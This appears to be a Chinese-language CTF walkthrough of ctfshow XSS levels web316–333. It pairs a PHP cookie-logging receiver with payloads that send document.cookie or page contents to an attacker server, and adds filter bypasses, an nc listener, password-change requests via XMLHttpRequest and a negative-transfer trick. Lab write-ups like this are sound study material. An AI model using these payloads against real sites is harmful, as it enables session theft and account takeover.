一、搭建一个接收XSS返回值的平台,虽然网上有现成的,但是我还是建议在自己的服务器上弄一个,也不麻烦,而且方便调试(方法很多大佬都教了,搜一下就好)

二、我自己服务器上的那个,写的index.php文件内容是

1
2
3
4
5
6
7
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>

我下面的payload都将是按照这个文件来的

三、具体操作也没啥了,插入点比较明显了,我下边会大部分只写payload(节约一下时间)

web316

1
<script>location.href="http://xx.xxx.xxx.xxx?cookie="+document.cookie</script>

web317

1
<img src="" onerror=location.href="http://xx.xxx.xxx.xxx?cookie="+document.cookie>

web318

过滤的比较多就可以用

1
2
3
<script>alert('kevin')</script>
<img alert('kevin')>
<body>alert("kevin")</body>

用这些试探一下回显发现body标签有回显

1
2
3
<body onload=location.href="http://xx.xxx.xxx.xxx?cookie="+document.cookie>或者
<body onload=location.href="http://xx.xxx.xxx.xxx?cookie="+document.cookie></body>或者
<iframe onload=location.href="http://xx.xxx.xxx.xxx?cookie="+document.cookie>

web319

与318一样

web320

尝试输入,发现只要是带script,img和空格的,都没有输出,说明被过滤。但是body并没有被过滤,那好了,只需要空格绕过就好

那方法就比较多了 /**/ , tab , / , %09这些都可以代替空格,所以稍微改下318的payload就好

这里看到了一个大佬写的博客,发现了一个很好用的绕过函数

String.fromCharCode()

可以将括号里的ASCII码转换成字符,用来绕过很好用

那我们就可以用这种方法来进行构造payload了

1
<body onload=document.write(String.fromCharCode(xx.xx.xx.xx.xx.xx.xx.xx.xx.xx))>

这些xx.xx.xx.xx.xx.xx就是

1
<script>document.href="http://xx.xxx.xxx.xxx?cookie="+document.cookie</script>

的ASCII码了

web321

用320的方法就可以

web322

直接把常用标签和符号放这里实验,发现分号,逗号,空格,script,img都被过滤

也就是说还是可以继续用

1
2
<body/onload="window.open('http://xx.xxx.xxx.xxx/index.php?cookie='+document.cookie)">或者
<body/onload=location.href="http://xx.xxx.xxx.xxx/index.php?cookie="+document.cookie>

这些都可以

web323-326

都同上

反射型xss就到这里

在这里先放一篇xss好文(也方便我自己回来看)

反射型xss绕过过滤

web327

收件人必须是admin,插入点就是信的内容,没有过滤,直接用之前payload就好

web328

注册的时候密码放上payload

1
<script>window.open('http://xx.xxx.xxx.xxx/index.php?cookie='+document.cookie)</script>

等一会就发到你文件里了

image-20240529012355273

把session换成他的

image-20240529012533419

这样就拿到了

web329

以同样的方式拿到了session,但是这道题却并不能直接用cookie登录了。看了一个大佬写的wp,据说这道题设置了cookie发给你以后,这个cookie就会失效,所以无法直接登入这个网站。

那么我们盗取cookie是肯定不行了,我们尝试能不能直接利用xss把网站内,我们需要的信息直接发到我们自己的xss平台上

首先定位一下我们需要的信息

image-20240529110620539

这里会用到一些document对象了,我们先学习一下

document.getElementsByClassName()

其实看这意思,也大概就知道是干嘛的了

是 JavaScript 中用于获取具有指定类名的所有元素的常用方法

语法:document.getElementsByClassName(classNames)

classNames: 一个包含一个或多个类名的字符串。多个类名用空格分隔。

document.querySelector()

在这里其实的用法其实跟document.getElementsByClassName()的用法也差不多了

他的其他具体用法大家可以去了解一下,这个还是很常用的。

现在构造一下payload

1
<script>window.open("http://xx.xxx.xxx.xxx:7977"+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

运用这个payload别忘记监听一下你自己的端口(当然了,要开放的端口)

1
nc -lvvp 7977

或者

1
2
3
var img = new Image();
img.src = "http://xx.xxx.xxx.xxx/cookie.php?cookie="+document.querySelector('#top > div.layui-container > div :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);

讲解一下这个查询块

1
#top > div.layui-container > div :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main

1.#top:选择 ID 为 top 的元素。

2.> div.layui-container:在 #top 元素下,直接子元素是 div,且这个 div 的 class 为 layui-container

3.> div :nth-child(4):在上一个元素之下,选择任意元素 div 的第4个子元素,注意这里 :nth-child(4) 选择的是直接子元素中的第4个。

4.> div:在上一个元素之下,选择直接子元素 div

5.> div.layui-table-box:在上一个 div 之下,选择 class 为 layui-table-boxdiv 元素。

6.> div.layui-table-body.layui-table-main:在上一个 div 之下,选择 class 为 layui-table-bodylayui-table-maindiv 元素

web330

修改密码位置

1
<script>window.open('http://118.31.168.198:39543/'+document.querySelector('#top > div.layui-container').textContent)</script>

或者也可以更改一下密码

1
<script>window.open('http://127.0.0.1/api/change.php?p=1234567')</script>

web331

修改密码位置变成了post请求,window.open肯定不行了,搜了一下js如何发送http请求

1
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>

web332

注册时用户名放个xss语句,便可以使用转账

转账的时候bp抓一下包,改一下a值为-666666便可以让你的账户有钱

然后买flag即可

web333

收款方设为自己即可

自己的金额会增加直接bp跑一下即可